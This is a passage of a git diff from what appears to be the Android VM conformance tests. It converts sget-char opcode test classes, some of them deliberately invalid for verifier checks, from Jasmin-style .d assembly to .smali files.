-.source T_sget_char_1.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_1
-.super java/lang/Object
-
-.field public static i1 C
-.field protected static p1 C
-.field private static pvt1 C
-
-.method static <clinit>()V
-.limit regs 1
-       const v0, 77
-       sput-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_1.i1 C
-
-       const v0, 77
-       sput-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_1.p1 C
-
-       const v0, 77
-       sput-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_1.pvt1 C
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_1.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.smali
new file mode 100644
index 0000000..3f3ce99
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_1.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+.field protected static p1:C
+.field private static pvt1:C
+
+.method static constructor <clinit>()V
+.registers 1
+       const v0, 77
+       sput-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->i1:C
+
+       const v0, 77
+       sput-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->p1:C
+
+       const v0, 77
+       sput-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->pvt1:C
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.d
deleted file mode 100644
index d4d3efb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_11.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_11
-.super dot/junit/opcodes/sget_char/d/T_sget_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_char/d/T_sget_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_1.p1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.smali
new file mode 100644
index 0000000..27e9213
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_11.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_11;
+.super  Ldot/junit/opcodes/sget_char/d/T_sget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->p1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.d
deleted file mode 100644
index 708f2db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_12.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_12
-.super dot/junit/opcodes/sget_char/d/T_sget_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_char/d/T_sget_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_1.pvt1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.smali
new file mode 100644
index 0000000..3e456a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_12.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_12;
+.super  Ldot/junit/opcodes/sget_char/d/T_sget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->pvt1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.d
deleted file mode 100644
index eb652bc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_13.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_13.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.smali
new file mode 100644
index 0000000..26671ca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_13.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_13;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.d
deleted file mode 100644
index c1b8040..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_14.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_14
-.super java/lang/Object
-
-.field public static i1 Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_14.i1 Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.smali
new file mode 100644
index 0000000..6d597c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_char/d/T_sget_char_14;
+.super Ljava/lang/Object;
+.source "T_sget_char_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.d
deleted file mode 100644
index dedb8e2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_15.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_15
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.smali
new file mode 100644
index 0000000..0b565f8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_15.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.d
deleted file mode 100644
index 82a5544..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_16.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_16
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.smali
new file mode 100644
index 0000000..919555f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_16.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.d
deleted file mode 100644
index abff0e4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_17.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_17
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_17.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.smali
new file mode 100644
index 0000000..d8d5d90
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_17.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_17;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.d
deleted file mode 100644
index b73a284..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_18.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_18
-.super java/lang/Object
-
-.field public static i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_18.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.smali
new file mode 100644
index 0000000..f3868d7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_18.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_18;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.d
deleted file mode 100644
index 437c0bd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_19.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_19
-.super java/lang/Object
-
-.field public static i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.smali
new file mode 100644
index 0000000..aa6b315
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_19.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_19;
+.super  Ljava/lang/Object;
+
+.field public static i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.d
deleted file mode 100644
index eeaff5d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_20.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_20
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.smali
new file mode 100644
index 0000000..979370a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_20.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.d
deleted file mode 100644
index 3c6e95d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_3.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_3
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v3, dot.junit.opcodes.sget_char.d.T_sget_char_3.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.smali
new file mode 100644
index 0000000..88c30e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_3.smali
@@ -0,0 +1,35 @@
